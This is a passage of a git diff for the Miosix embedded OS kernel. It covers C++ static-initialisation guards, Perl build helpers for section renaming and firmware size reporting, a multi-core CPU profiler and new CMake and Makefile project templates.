"C" void _Miosix_set_sjlj_ptr(void* ptr) -{ - miosix::CppReentrancyAccessor::setSjljPtr(ptr); -} - -extern "C" void *_Miosix_get_sjlj_ptr() -{ - return miosix::CppReentrancyAccessor::getSjljPtr(); -} -#endif //__ARM_EABI__ - -} //namespace __cxxabiv1 - -namespace __gnu_cxx { - -/** - * \internal - * Replaces the default verbose terminate handler. - * Avoids the inclusion of code to demangle C++ names, which saves code size - * when using exceptions. - */ -void __verbose_terminate_handler() -{ - errorLog("\n***Unhandled exception thrown\n"); - _exit(1); -} - -} //namespace __gnu_cxx - - - - -// -// C++ static constructors support, to achieve thread safety -// ========================================================= - -//This is weird, despite almost everywhere in GCC's documentation it is said -//that __guard is 8 bytes, it is actually only four. -union MiosixGuard -{ - miosix::Thread *owner; - unsigned int flag; -}; - -namespace __cxxabiv1 -{ -/** - * Used to initialize static objects only once, in a threadsafe way - * \param g guard struct - * \return 0 if object already initialized, 1 if this thread has to initialize - * it, or lock if another thread has already started initializing it - */ -extern "C" int __cxa_guard_acquire(__guard *g) -{ - miosix::InterruptDisableLock dLock; - volatile MiosixGuard *guard=reinterpret_cast(g); - for(;;) - { - if(guard->flag==1) return 0; //Object already initialized, good - - if(guard->flag==0) - { - //Object uninitialized, and no other thread trying to initialize it - guard->owner=miosix::Thread::IRQgetCurrentThread(); - - //guard->owner serves the double task of being the thread id of - //the thread initializing the object, and being the flag to signal - //that the object is initialized or not. If bit #0 of guard->owner - //is @ 1 the object is initialized. All this works on the assumption - //that Thread* pointers never have bit #0 @ 1, and this assetion - //checks that this condition really holds - if(guard->flag & 1) miosix::errorHandler(miosix::UNEXPECTED); - return 1; - } - - //If we get here, the object is being initialized by another thread - if(guard->owner==miosix::Thread::IRQgetCurrentThread()) - { - //Wait, the other thread initializing the object is this thread?!? - //We have a recursive initialization error. Not throwing an - //exception to avoid pulling in exceptions even with -fno-exception - IRQerrorLog("Recursive initialization\r\n"); - _exit(1); - } - - { - miosix::InterruptEnableLock eLock(dLock); - miosix::Thread::yield(); //Sort of a spinlock, a "yieldlock"... - } - } -} - -/** - * Called after the thread has successfully initialized the object - * \param g guard struct - */ -extern "C" void __cxa_guard_release(__guard *g) noexcept -{ - miosix::InterruptDisableLock dLock; - MiosixGuard *guard=reinterpret_cast(g); - guard->flag=1; -} - -/** - * Called if an exception was thrown while the object was being initialized - * \param g guard struct - */ -extern "C" void __cxa_guard_abort(__guard *g) noexcept -{ - miosix::InterruptDisableLock dLock; - MiosixGuard *guard=reinterpret_cast(g); - guard->flag=0; -} - -} //namespace __cxxabiv1 - -// -// libatomic support, to provide thread safe atomic operation fallbacks -// ==================================================================== - -// Not using the fast version, as these may be used before the kernel is started - -extern "C" unsigned int libat_quick_lock_n(void *ptr) -{ - miosix::disableInterrupts(); - return 0; -} - -extern "C" void libat_quick_unlock_n(void *ptr, unsigned int token) -{ - miosix::enableInterrupts(); -} - -// These are to implement "heavy" atomic operations, which are not used in -// libstdc++. For now let's keep them disbaled. - -// extern "C" void libat_lock_n(void *ptr, size_t n) -// { -// miosix::pauseKernel(); -// } -// -// extern "C" void libat_unlock_n(void *ptr, size_t n) -// { -// miosix::restartKernel(); -// } diff --git a/miosix/tools/compiler_check.pl b/miosix/tools/compiler_check.pl new file mode 100644 index 000000000..c04383e58 --- /dev/null +++ b/miosix/tools/compiler_check.pl @@ -0,0 +1,27 @@ +#!/usr/bin/perl + +# usage: compiler_check.pl +# example: perl compiler_check.pl arm-miosix-eabi-gcc +# returns: 0 if the compiler version is compatible with the current kernel +# +# This program is written in perl to help make, which can't even do greater-than +# comparisons without using the shell, let alone regex. Miosix Makefiles need to +# work also on Windows, so we can't use bash and use perl instead. + +use warnings; +use strict; + +# NOTE: use echo | ... instead of ... < /dev/null for Windows compatibility +my $fullversion=`echo | $ARGV[0] -E -dM -`; +my $patch_major=-1; +for(split /\n/, $fullversion) +{ + next unless(/#define _MIOSIX_GCC_PATCH_MAJOR (\d+)/); + $patch_major=$1; +} +if($patch_major>=4) +{ + print "0"; +} else { + print "1"; +} diff --git a/miosix/_tools/kernel_global_objects.pl b/miosix/tools/kernel_global_objects.pl similarity index 75% rename from miosix/_tools/kernel_global_objects.pl rename to miosix/tools/kernel_global_objects.pl index 6bedf9a72..cd7bd8d38 100644 --- a/miosix/_tools/kernel_global_objects.pl +++ b/miosix/tools/kernel_global_objects.pl @@ -37,23 +37,34 @@ use warnings; use strict; +use Getopt::Long; my $verbose=0; # Edit this file and set this to 1 for testing my @files_with_global_objects; my @files_to_fix; +my @files_to_fix_ctors; my @files_broken; +GetOptions( + "prefix=s" => \( my $prefix = "arm-miosix-eabi") +); + # Step #1: check all kernel object files and categorize them based on the # relevant sections -foreach my $filename (@ARGV) +foreach my $idx (0 .. $#ARGV) { + my $filename=$ARGV[$idx]; + # First, check that the argument is really an object file die "$filename is not a file name." unless -f $filename; - die "$filename is not an object file." unless $filename=~/\.o$/; + # Accept .o and .obj: CMake 4.x emits ASM objects as .obj despite + # Platform/Miosix.cmake setting CMAKE_ASM_OUTPUT_EXTENSION=.o (e.g. the + # C-SKY/HD2 cskyv2_context.S.obj). readelf below validates object-ness. + die "$filename is not an object file." unless $filename=~/\.(o|obj)$/; # Then use readelf to dump all sections of the file - my $output=`arm-miosix-eabi-readelf -SW \"$filename\"`; + my $output=`$prefix-readelf -SW \"$filename\"`; my @lines=split("\n",$output); my $sections=0; @@ -73,6 +84,17 @@ push(@files_to_fix,$filename); push(@files_with_global_objects,"$filename (.init_array)"); } + # Toolchains configured without init_array support (e.g. the HD2's + # csky-miosix-elf, where -fuse-init-array is unrecognized) emit C++ + # global ctors into the LEGACY .ctors section instead. Treat it like + # .init_array: rename to .miosix_init_array so kernel global ctors run + # before the kernel starts. Each .ctors entry is one per-TU init + # function, so cross-TU order is irrelevant for independent singletons. + if($section_name=~/^\.ctors/) + { + push(@files_to_fix_ctors,$filename); + push(@files_with_global_objects,"$filename (.ctors)"); + } # An already fixed file, may occur when make is called multiple times if($section_name=~/^\.miosix_init_array/) { @@ -82,7 +104,8 @@ # been observed in the wild with the current ABI miosix is using, # so for now, to be on the safe side, we will fail compiling if they # are found. Probably it is enough to transform their name as well. - if($section_name=~/^\.preinit_array|^\.ctors|^\.dtors|^\.init |^\.fini /) + # (.ctors handled above; .dtors ignored — the kernel runs no dtors.) + if($section_name=~/^\.preinit_array|^\.init |^\.fini /) { push(@files_broken,$filename); } @@ -98,7 +121,13 @@ # started, not after foreach my $filename (@files_to_fix) { - my $exitcode=system("arm-miosix-eabi-objcopy \"$filename\" --rename-section .init_array=.miosix_init_array"); + my $exitcode=system("$prefix-objcopy \"$filename\" --rename-section .init_array=.miosix_init_array"); + die "Error calling objcopy" unless($exitcode==0); +} +# Legacy .ctors toolchains (csky-miosix-elf): rename .ctors the same way. +foreach my $filename (@files_to_fix_ctors) +{ + my $exitcode=system("$prefix-objcopy \"$filename\" --rename-section .ctors=.miosix_init_array"); die "Error calling objcopy" unless($exitcode==0); } diff --git a/miosix/tools/miosix_size.pl b/miosix/tools/miosix_size.pl new file mode 100644 index 000000000..10e770d9b --- /dev/null +++ b/miosix/tools/miosix_size.pl @@ -0,0 +1,102 @@ +#!/usr/bin/perl + +# usage: miosix_size.pl [--prefix=arm-miosix-eabi] +# +# The Miosix build system always used the size tool (arm-miosix-eabi-size for +# ARM CPUs) to print the firmware size at the end of a build. However, newer +# linker scripts in Miosix 3 add sections .irq_stack, .heap and .process_pool +# that the size tool incorrectly accounts as .bss, requiring a workaround. +# +# In addition, despite size having three print formats, they all can be improved +# +# 1) The -A option prints detailed information. It is correct but too verbose. +# $ arm-miosix-eabi-size -A main.elf +# main.elf : +# section size addr +# .text 40368 134217728 +# .ARM.exidx 1256 134258096 +# .irq_stack 512 536870912 +# .data 1144 536871424 +# .bss 2512 536872568 +# .heap 782264 536875080 +# .debug_info 782389 0 +# .debug_abbrev 102603 0 +# .debug_aranges 6744 0 +# .debug_rnglists 15246 0 +# .debug_line 174556 0 +# .debug_str 296100 0 +# .comment 24 0 +# .ARM.attributes 56 0 +# .debug_frame 17292 0 +# .debug_loclists 102608 0 +# .debug_line_str 368 0 +# Total 2326042 +# +# 2) The default is what we've been used so far. It used to provide correct data +# until the aforementioned sections were introduced, now it produces a wrong +# .bss size. Moreover, what's the point of printing the total size in decimal +# and hex? +# $ arm-miosix-eabi-size main.elf +# text data bss dec hex filename +# 41624 1144 785288 828056 ca298 main.elf +# +# 3) The GNU format is the most minimalistic and imho useful, but it comes with +# a subtle bug: the .ARM.exidx is accounted as part of .data instead of .text! +# See for yourself in the example below how .text is smaller and .data bigger. +# Additionally, it too gets .bss wrong with the newer linker scripts +# $ arm-miosix-eabi-size -G main.elf +# text data bss total filename +# 40368 2400 785288 828056 main.elf +# +# This script provides the needed workaround. It spawns arm-miosix-eabi-size -A +# to get the most comprenesive information, ad then it prints the size in the +# GNU format, but getting it right for Miosix. +# + +use warnings; +use strict; +use Getopt::Long; + +GetOptions( + "prefix=s" => \( my $prefix = "arm-miosix-eabi") +); + +my $text; +my $data; +my $bss; +my $total; +my $filename; + +print(" text data bss total filename\n"); +format STDOUT= +@>>>>>>>>> @>>>>>>>>> @>>>>>>>>> @>>>>>>>>> @* +$text, $data, $bss, $total, $filename +. + +foreach my $idx (0 .. $#ARGV) +{ + $filename=$ARGV[$idx]; + my $printout=`$prefix-size -A $filename`; + $text = 0; + $data = 0; + $bss = 0; + foreach(split("\n", $printout)) + { + next unless(/^(\.\S+)\s+(\d+)\s+\d+/); + if($1 eq ".text") { $text+=$2; } + elsif($1 eq ".ARM.exidx") { $text+=$2; } + elsif($1 eq ".rodata") { $text+=$2; } # For processes + elsif($1 eq ".ARM.extab") { $text+=$2; } # For processes + elsif($1 eq ".ARM.exidx.mx") { $text+=$2; } # For processes + elsif($1 eq ".rel.dyn") { $text+=$2; } # For processes + elsif($1 eq ".rel.data") { $text+=$2; } # For processes + elsif($1 eq ".rel.got") { $text+=$2; } # For processes + elsif($1 eq ".data") { $data+=$2; } + elsif($1 eq ".got") { $data+=$2; } # For processes + elsif($1 eq ".dynamic") { $data+=$2; } # For processes + elsif($1 eq ".init_array.mx") { $data+=$2; } # For processes + elsif($1 eq ".bss") { $bss+=$2; } + } + $total=$text+$data+$bss; + write(STDOUT); +} diff --git a/miosix/_tools/filesystems/mkimage.pl b/miosix/tools/mkimage.pl similarity index 100% rename from miosix/_tools/filesystems/mkimage.pl rename to miosix/tools/mkimage.pl diff --git a/miosix/_tools/relpath.pl b/miosix/tools/relpath.pl similarity index 100% rename from miosix/_tools/relpath.pl rename to miosix/tools/relpath.pl diff --git a/miosix/util/lcd44780.cpp b/miosix/util/lcd44780.cpp index 7c14b6634..a600c62d8 100644 --- a/miosix/util/lcd44780.cpp +++ b/miosix/util/lcd44780.cpp @@ -11,7 +11,7 @@ namespace { /// enables increment mode. constexpr unsigned char cmdClear=0x01; /// Sets cursor address to 0 and resets scrolling -constexpr unsigned char cmdHome=0x02; +// constexpr unsigned char cmdHome=0x02; /// Configures display update behaviour at every data byte sent. /// \param dir 0: decrement data RAM address at every byte sent /// 1: increment data RAM address at every byte sent @@ -32,10 +32,10 @@ constexpr unsigned char cmdEnable(unsigned char disp, unsigned char cur) /// Move the cursor or scroll the display by 1 character forwards or backwards /// \param shift 0: moves the cursor, 1: scrolls the display /// \param rl 0: left (increment), 1: right (decrement) -constexpr unsigned char cmdShift(unsigned char shift, unsigned char dir) -{ - return 0x10 | (shift<<3) | (dir<<2); -} +// constexpr unsigned char cmdShift(unsigned char shift, unsigned char dir) +// { +// return 0x10 | (shift<<3) | (dir<<2); +// } /// Configures the controller for the display /// \param dl Data length /// 0: 4 bit, 1: 8 bit diff --git a/miosix/util/software_i2c.h b/miosix/util/software_i2c.h index 7d0e84660..85bce5d00 100644 --- a/miosix/util/software_i2c.h +++ b/miosix/util/software_i2c.h @@ -28,6 +28,7 @@ #ifndef SOFTWARE_I2C_H #define SOFTWARE_I2C_H +#include "kernel/thread.h" #include "interfaces/gpio.h" #include "interfaces/delays.h" diff --git a/miosix/util/software_spi.h b/miosix/util/software_spi.h index 20af6a214..53d94eeac 100644 --- a/miosix/util/software_spi.h +++ b/miosix/util/software_spi.h @@ -25,8 +25,7 @@ * along with this program; if not, see * ***************************************************************************/ -#ifndef SOFTWARE_SPI_H -#define SOFTWARE_SPI_H +#pragma once #include "interfaces/gpio.h" @@ -155,9 +154,7 @@ unsigned int SoftwareSPI:: template void SoftwareSPI::delayLoop() { - for(int j=0;j #include #include "util.h" -#include "kernel/kernel.h" -#include "stdlib_integration/libc_integration.h" -#include "config/miosix_settings.h" //For WATERMARK_FILL and STACK_FILL +#include "kernel/lock.h" +#include "kernel/thread.h" +#include "kercalls/libc_integration.h" +#include "miosix_settings.h" //For WATERMARK_FILL and STACK_FILL +#include "interfaces/cpu_const.h" using namespace std; @@ -93,7 +95,15 @@ unsigned int MemoryProfiling::getAbsoluteFreeStack() unsigned int MemoryProfiling::getCurrentFreeStack() { - register int *stack_ptr asm("sp"); + #ifdef __ARM_EABI__ + void *stack_ptr; + asm volatile("mov %0, sp" : "=r"(stack_ptr)); + #else //__ARM_EABI__ + //NOTE: __builtin_frame_address doesn't add the size of the current function + //frame, likely __builtin_stack_address would be better but GCC 9.2.0 does + //not have it + void *stack_ptr=__builtin_frame_address(0); + #endif //__ARM_EABI__ const unsigned int *walk=Thread::getStackBottom(); unsigned int freeStack=(reinterpret_cast(stack_ptr) - reinterpret_cast(walk)); @@ -131,22 +141,43 @@ unsigned int MemoryProfiling::getCurrentFreeHeap() return getHeapSize()-mallocData.uordblks; } +char *formatHex(char *out, unsigned long n, unsigned int len) +{ + unsigned int i=len; + while(i--) + { + unsigned long digit=n&0xF; n>>=4; + if(digit<10) out[i]=digit+'0'; + else out[i]=(digit-10)+'a'; + } + return out+len; +} + /** * \internal * used by memDump */ static void memPrint(const char *data, char len) { - iprintf("0x%08x | ",reinterpret_cast(data)); - for(int i=0;i(data),8); + *p++=' '; for(int i=0;i=32)&&(data[i]<127)) iprintf("%c",data[i]); - else iprintf("."); + p=formatHex(p,static_cast(data[i]),2); + *p++=' '; } - iprintf("\n"); + for(int i=0;i<(16-len)*3;i++) *p++=' '; + *p++='|'; *p++=' '; + for(int i=0;i=32)&&(data[i]<127)) *p++=data[i]; + else *p++='.'; + } + *p++='\0'; + puts(buffer); } void memDump(const void *start, int len) @@ -163,22 +194,59 @@ void memDump(const void *start, int len) #ifdef WITH_CPU_TIME_COUNTER -static void printSingleThreadInfo(Thread *self, Thread *thread, - int approxDt, long long newTime, long long oldTime, bool isIdleThread, - bool isNewThread) +static long long printSingleThreadInfo(long long approxDt, + CPUTimeCounter::Data *oldData, CPUTimeCounter::Data *newData, + long long allThdDelta[CPU_NUM_CORES]) { - long long threadDt = newTime - oldTime; - int perc = static_cast(threadDt >> 16) * 100 / approxDt; - iprintf("%p %10lld ns (%2d.%1d%%)", thread, threadDt, perc / 10, perc % 10); - if(isIdleThread) + if(!newData) { - iprintf(" (idle)"); - isIdleThread = false; - } else if(thread == self) { - iprintf(" (cur)"); + iprintf("%p killed\n", oldData->thread); + return 0; + } else { + Thread *thread=newData->thread; + int perc[CPU_NUM_CORES]; + long long allCpuDelta=0; + if(oldData) + { + bool revived=false; + for(unsigned char i=0;iusedCpuTime[i]>=oldData->usedCpuTime[i]) + { + td=newData->usedCpuTime[i]-oldData->usedCpuTime[i]; + } else { + // CPU time is incrementing. If it doesn't, a thread was + // killed, and then another one created immediately after, + // and the two thread pointers are coincidentially the same. + // This is rare but not impossible! + td=newData->usedCpuTime[i]; + revived=true; + } + allThdDelta[i]+=td; + perc[i]=static_cast(td>>16)*100/approxDt; + allCpuDelta+=td; + } + if(revived) iprintf("%p killed\n", oldData->thread); + } else { + for(unsigned char i=0;iusedCpuTime[i]; + allThdDelta[i]+=td; + perc[i]=static_cast(td>>16)*100/approxDt; + allCpuDelta+=td; + } + } + iprintf("%p %c %10lld %2d.%1d%%",thread,newData->state,allCpuDelta, + perc[0]/10,perc[0]%10); + for(unsigned char i=1;i& newInfo = newSnap.threadData; long long dt = newSnap.time - oldSnap.time; int approxDt = static_cast(dt >> 16) / 10; - Thread *self = Thread::getCurrentThread(); + long long allThdDelta[CPU_NUM_CORES]={0}; iprintf("%d threads, last interval %lld ns\n", newInfo.size(), dt); + iprintf("%10s S %10s %5s","TID","time [ns]","cpu 0"); + for(int i=1;ithread != oldIt->thread) + while(oldIt!=oldInfo.end() && newIt->thread!=oldIt->thread) { - iprintf("%p killed\n", oldIt->thread); + printSingleThreadInfo(approxDt,&(*oldIt),nullptr,allThdDelta); + oldIt++; + } + if(oldIt!=oldInfo.end()) + { + // Found a thread that exists in both lists + printSingleThreadInfo(approxDt,&(*oldIt),&(*newIt),allThdDelta); + newIt++; oldIt++; } - // Found a thread that exists in both lists - printSingleThreadInfo(self, newIt->thread, approxDt, newIt->usedCpuTime, - oldIt->usedCpuTime, isIdleThread, false); - isIdleThread = false; - newIt++; - oldIt++; } // Skip last killed threads while(oldIt != oldInfo.end()) { - iprintf("%p killed\n", oldIt->thread); - isIdleThread = false; + printSingleThreadInfo(approxDt,&(*oldIt),nullptr,allThdDelta); oldIt++; } // Print info about newly created threads while(newIt != newInfo.end()) { - printSingleThreadInfo(self, newIt->thread, approxDt, newIt->usedCpuTime, - 0, isIdleThread, true); - isIdleThread = false; + printSingleThreadInfo(approxDt,nullptr,&(*newIt),allThdDelta); newIt++; } + // Print global stats + iprintf("%-23s", "Total load"); + long long allCpuThdDelta=0; + for(unsigned char i=0;i(allThdDelta[i]>>16)*100/approxDt; + iprintf(" %2d.%1d%%",totalPerc/10,totalPerc%10); + } + iprintf("\n"); + if(CPU_NUM_CORES>1) + { + int totalPerc=static_cast(allCpuThdDelta>>16)*100/approxDt; + iprintf("Total load (all cpus) %4d.%1d%%\n",totalPerc/10,totalPerc%10); + } } void CPUProfiler::Snapshot::collect() { - // We cannot expand the threadData vector while the kernel is paused. - // Therefore we need to expand the vector earlier, pause the kernel, and + // We cannot expand the threadData vector while the GIL is taken. + // Therefore we need to expand the vector earlier, lock the GIL, and // then check if the number of threads stayed the same. If it didn't, - // we must unpause the kernel and try again. Otherwise we can fill the + // we must unlock the GIL and try again. Otherwise we can fill the // vector. bool success = false; do { // Resize the vector with the current number of threads unsigned int nThreads = CPUTimeCounter::getThreadCount(); - threadData.resize(nThreads); + this->threadData.resize(nThreads); { - // Pause the kernel! - PauseKernelLock pLock; + // Pause scheduling on all cores! + FastGlobalIrqLock pLock; // If the number of threads changed, try again unsigned int nThreads2 = CPUTimeCounter::getThreadCount(); @@ -268,13 +350,11 @@ void CPUProfiler::Snapshot::collect() // respect to the data collected, at the cost of making the // update interval imprecise (if this timestamp is then used // to mantain the update interval) - time = getTime(); + this->time = IRQgetTime(); // Fetch the CPU time data for all threads - auto i1 = threadData.begin(); - auto i2 = CPUTimeCounter::PKbegin(); - do - *i1++ = *i2++; - while(i2 != CPUTimeCounter::PKend()); + auto i1 = this->threadData.begin(); + auto i2 = CPUTimeCounter::IRQbegin(this->time); + do *i1++ = *i2++; while(i2 != CPUTimeCounter::IRQend()); } } while(!success); } diff --git a/miosix/util/util.h b/miosix/util/util.h index 429efb3b9..8c5109d9a 100644 --- a/miosix/util/util.h +++ b/miosix/util/util.h @@ -30,8 +30,7 @@ * A collection of "utilities". ************************************************************************/ -#ifndef UTIL_H -#define UTIL_H +#pragma once #include "kernel/cpu_time_counter.h" #include @@ -69,16 +68,16 @@ class MemoryProfiling static unsigned int getAbsoluteFreeStack(); /** - * \return current free stack of current thread.
+ * \return current free stack of current thread.
* Current free stack is the free stack at the moment when the this * function is called. */ static unsigned int getCurrentFreeStack(); /** - * \return heap size which is defined in the linker script.
The heap is - * shared among all threads, therefore this function returns the same value - * regardless which thread is called in. + * \return heap size.
+ * The heap is shared among all threads, therefore this function returns the + * same value regardless which thread is called in. */ static unsigned int getHeapSize(); @@ -104,6 +103,18 @@ class MemoryProfiling MemoryProfiling(); }; +/** + * Format an unsigned integer in hexadecimal notation into a specified buffer. + * \param out The address of the destination buffer. + * \param n The number to be formatted. + * \param len The amount of characters to output into the buffer. If n is + * greater than 16^len, only the least significant len digits will + * be considered. + * \returns The address of the character one past the last one emitted. This + * function does *not* produce any final terminating NUL ('\0'). + */ +char *formatHex(char *out, unsigned long n, unsigned int len); + /** * Dump a memory area in this format * 0x00000000 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ @@ -117,7 +128,7 @@ void memDump(const void *start, int len); /** * This class implements a top-like view of the CPU usage of all current * threads. The implementation is built upon CPUTimeCounter and therefore also - * requires `WITH_CPU_TIME_COUNTER` to be defined in config/miosix_settings.h. + * requires `WITH_CPU_TIME_COUNTER` to be defined in miosix_settings.h. * * CPUProfiler can be integrated in an existing update loop by instantiating it * and then invoking the update() and print() methods at regular intervals: @@ -209,5 +220,3 @@ class CPUProfiler */ } //namespace miosix - -#endif //UTIL_H diff --git a/miosix/util/version.cpp b/miosix/util/version.cpp index 33686342b..25d19adda 100644 --- a/miosix/util/version.cpp +++ b/miosix/util/version.cpp @@ -25,7 +25,7 @@ * along with this program; if not, see * ***************************************************************************/ -#include "config/miosix_settings.h" +#include "miosix_settings.h" // These two #if are here because version checking for config files in // out-of-git-tree projects has to be done somewhere. @@ -53,7 +53,7 @@ namespace miosix { #define AU #endif -const char AU ver[]="Miosix v2.81 (" _MIOSIX_BOARDNAME ", " __DATE__ " " __TIME__ CV ")"; +const char AU ver[]="Miosix v3.01 (" _MIOSIX_BOARDNAME ", " __DATE__ " " __TIME__ CV ")"; const char *getMiosixVersion() { diff --git a/templates/processes/CMakeLists.txt b/templates/processes/CMakeLists.txt new file mode 100644 index 000000000..c4f3e19de --- /dev/null +++ b/templates/processes/CMakeLists.txt @@ -0,0 +1,60 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +cmake_minimum_required(VERSION 3.21) + +# Set the path to the Miosix kernel +set(MIOSIX_KPATH ${CMAKE_SOURCE_DIR}/../../miosix) +# Configure CMake toolchain and build type. +# This must to be done before the project() command +set(CMAKE_TOOLCHAIN_FILE ${MIOSIX_KPATH}/cmake/Toolchains/gcc.cmake) +set(CMAKE_BUILD_TYPE "Release") + +project(ProcessesExamples C CXX ASM) + +# Set Miosix definitions and options +#set(MIOSIX_BOARD stm32f407vg_stm32f4discovery) +set(MIOSIX_LINKER_SCRIPT processes.ld) + +# Include the Miosix kernel's project +add_subdirectory(${MIOSIX_KPATH} miosix EXCLUDE_FROM_ALL) + +# Kernel level program +add_executable(main main.cpp) +target_compile_definitions(miosix PUBLIC WITH_FILESYSTEM) +target_compile_definitions(miosix PUBLIC WITH_PROCESSES) +miosix_link_target(main) + +# Processes +miosix_add_process(hello process_template/main.cpp) + +# RomFS image +miosix_add_romfs_image(image + PROGRAM_DEFAULT # `make program' will flash the RomFs image + IMAGE_NAME image + DIR_NAME bin + KERNEL main + PROCESSES hello +) diff --git a/templates/processes/Makefile b/templates/processes/Makefile new file mode 100644 index 000000000..aeb45a78c --- /dev/null +++ b/templates/processes/Makefile @@ -0,0 +1,66 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := ../../miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## For the processes example the configuration needs to be changed in order to +## enable the define WITH_PROCESSES and choose an appropriate linker file for +## the board. +CONFPATH := $(KPATH) + +## When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +# OPT_BOARD := [options in miosix-kernel/miosix/config/Makefile.inc] + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := main.cpp + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := + +## +## List here additional static libraries with relative path +## +LIBS := + +## +## List here subdirectories which contains makefiles +## +# We add the directory for our subprocess +SUBDIRS += process_template + +## +## Attach a romfs filesystem image after the kernel +## +# We specify a romfs directory; this directory needs to already exist +ROMFS_DIR := romfs + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(Q)$(SZ) main.elf + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + +-include $(OBJ:.o=.d) diff --git a/miosix/_tools/processes/start_process.cpp b/templates/processes/main.cpp similarity index 100% rename from miosix/_tools/processes/start_process.cpp rename to templates/processes/main.cpp diff --git a/templates/processes/process_template/Makefile b/templates/processes/process_template/Makefile new file mode 100644 index 000000000..e8331512e --- /dev/null +++ b/templates/processes/process_template/Makefile @@ -0,0 +1,24 @@ +## +## Makefile for writing processes for the Miosix embedded OS +## + +## KPATH and CONFPATH can be specified here or forwarded by the parent makefile +KPATH := ../../../miosix +CONFPATH := $(KPATH) +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.pcommon + +BIN := ../romfs/hello +SRC := main.cpp + +all: $(OBJ) + $(ECHO) "[LD ] $(BIN)" + $(Q)$(CXX) $(LFLAGS) -o $(BIN) $(OBJ) $(LINK_LIBS) + $(Q)$(SZ) $(BIN) + $(Q)$(STRIP) $(BIN) + $(Q)$(POSTLD) $(BIN) --ramsize=16384 --stacksize=2048 --strip-sectheader + +clean: + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) $(BIN) $(notdir $(BIN)).map + +-include $(OBJ:.o=.d) diff --git a/miosix/_tools/processes/process_template/main.cpp b/templates/processes/process_template/main.cpp similarity index 100% rename from miosix/_tools/processes/process_template/main.cpp rename to templates/processes/process_template/main.cpp diff --git a/miosix/_tools/testsuite/testsuite_romfs/.keep b/templates/processes/romfs/.keep similarity index 100% rename from miosix/_tools/testsuite/testsuite_romfs/.keep rename to templates/processes/romfs/.keep diff --git a/templates/simple/CMakeLists.txt b/templates/simple/CMakeLists.txt new file mode 100644 index 000000000..a56eed819 --- /dev/null +++ b/templates/simple/CMakeLists.txt @@ -0,0 +1,55 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +cmake_minimum_required(VERSION 3.21) + +# Set the path to the Miosix kernel +set(MIOSIX_KPATH ${CMAKE_SOURCE_DIR}/../../miosix) +# Configure CMake toolchain and build type. +# This must to be done before the project() command +set(CMAKE_TOOLCHAIN_FILE ${MIOSIX_KPATH}/cmake/Toolchains/gcc.cmake) +set(CMAKE_BUILD_TYPE "Release") + +project(Main C CXX ASM) + +# Select the board (mandatory). See the options in miosix/arch/CMakeLists.txt +set(MIOSIX_BOARD stm32...) +# User config path and linker script selection are optional +# set(MIOSIX_USER_CONFIG_PATH ${CMAKE_SOURCE_DIR}/config) +# set(MIOSIX_LINKER_SCRIPT unikernel.ld) + +# Include the Miosix kernel's project +add_subdirectory(${MIOSIX_KPATH} miosix EXCLUDE_FROM_ALL) + +# Define a kernel level program +add_executable(main main.cpp) +# target_include_directories(main PRIVATE here_your_includes) +# target_compile_options(main PRIVATE here_your_compile_options) +# target_link_directories(main PRIVATE here_your_link_directories) +# target_link_libraries(main PRIVATE here_your_libraries) + +# Link the main target with Miosix. When specifying PROGRAM_DEFAULT, the +# `program' target will be available to flash it (type `make program' to use it) +miosix_link_target(main PROGRAM_DEFAULT) diff --git a/templates/simple/Makefile b/templates/simple/Makefile new file mode 100644 index 000000000..4457692db --- /dev/null +++ b/templates/simple/Makefile @@ -0,0 +1,65 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := ../../miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## Leave it as $(KPATH) to use the default settings built in to miosix. Any +## missing file is replaced by the defaults as well. +## To change the config, copy and paste the miosix/config directory to +## your project root and change this path to the project root (typically ".") +CONFPATH := $(KPATH) + +## 